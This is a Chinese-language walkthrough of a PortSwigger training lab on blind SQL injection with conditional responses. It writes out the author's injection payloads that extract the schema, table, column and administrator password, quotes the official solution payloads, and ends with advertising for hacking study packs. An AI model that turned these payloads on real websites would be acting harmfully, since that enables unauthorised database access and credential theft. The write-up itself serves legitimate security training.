Subject
Lab: Blind SQL injection with conditional responses
Url: portswigger.net/web-securit…
Mind Palace
在带着 cookies的后续访问网页时会找到出现的 Welcome back!
标志 ==> 无法回显 ==> 采用盲注的方式
0x01 确认注入点
0x02 爆破数据库名
# 测试information_schema是否可以利用
id' and substring(select 'a' from information_schema.tables limit 1,1,1) = 'a
id' and ascii(substring((select 'a' from information_schema.tables limit 1),1,1)) = 97--
# ==> 可以利用
# 构造核心payload
id' and ascii(substring((select table_schema from information_schema.tables limit 1),{i},1)) > {mid}--
# ==> database name: public
0x03 爆破表名
# 构造核心payload
id' and ascii(substring((select concat(table_name) from information_schema.tables where table_schema='public' limit 1),{i},1)) > {mid}--
# ==> table name: users
0x04 爆破字段名
# 构造核心payload
id' and ascii(substring((select concat(column_name) from information_schema.columns where table_name='users' limit 1),{i},1)) > {mid}--
# ==> column name: username 有痛点无法解决
无法解决的痛点:group_concat
函数无法使用(与此同时concat函数可以正常使用);没有limit 1
无法select出结果(与此同时limit 0,1
limit 1,1
无法select出结果)==> 导致的结果:没有办法一次性爆破出所有的select的结构 每次只能输出最上面select出的结果
无法解决痛点导致只能爆破出一个字段名字:username(不过题目描述中表明了另一个字段的名字就是:password;所以先在这里插个眼等之后看如何解决上述痛点;先用payload证明一下另一个字段名确实是password
id' and (select 'a' from public.users where username='administrator' and length(password)>1) = 'a
猜测:痛点的关键可能是在payload中最后使用了--
注释符导致的
id' and substring((select column_name from information_schema.columns where table_name='users' limit 1),1,1) < 'z
# ==> 失败
不用注释符还是没能解决group_concat和limit的问题(可能是数据库不支持这个函数?limit也不能使用就很奇怪。插眼。)
0x05 爆破数据
# 构造核心payload
id' and ascii(substring((select concat(password,'~',username) from users where username='administrator'),1,1)) > 32--
# where username='administrator' ==> password='ybi0bomgnupogefkhiuw'
源码URL
gitee.com/eclipse-ten…
Look Ahead
关于官方解析
# 判断注入点
TrackingId=xyz' AND '1'='1
# 确认表名
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
# 确认字段名和administrator用户的存在
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
# 确认password长度
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
# BP的Intruder模块爆破password
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
很奇怪的是今天刚做的几个靶场,group_concat() database() limit都表现不佳;原因不明;若有小伙伴碰巧看见这篇博客知道是什么原因 请在评论区为萌新解下惑 Thanks♪(・ω・)ノ
END ─=≡Σ(((つ•̀ω•́)つ
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享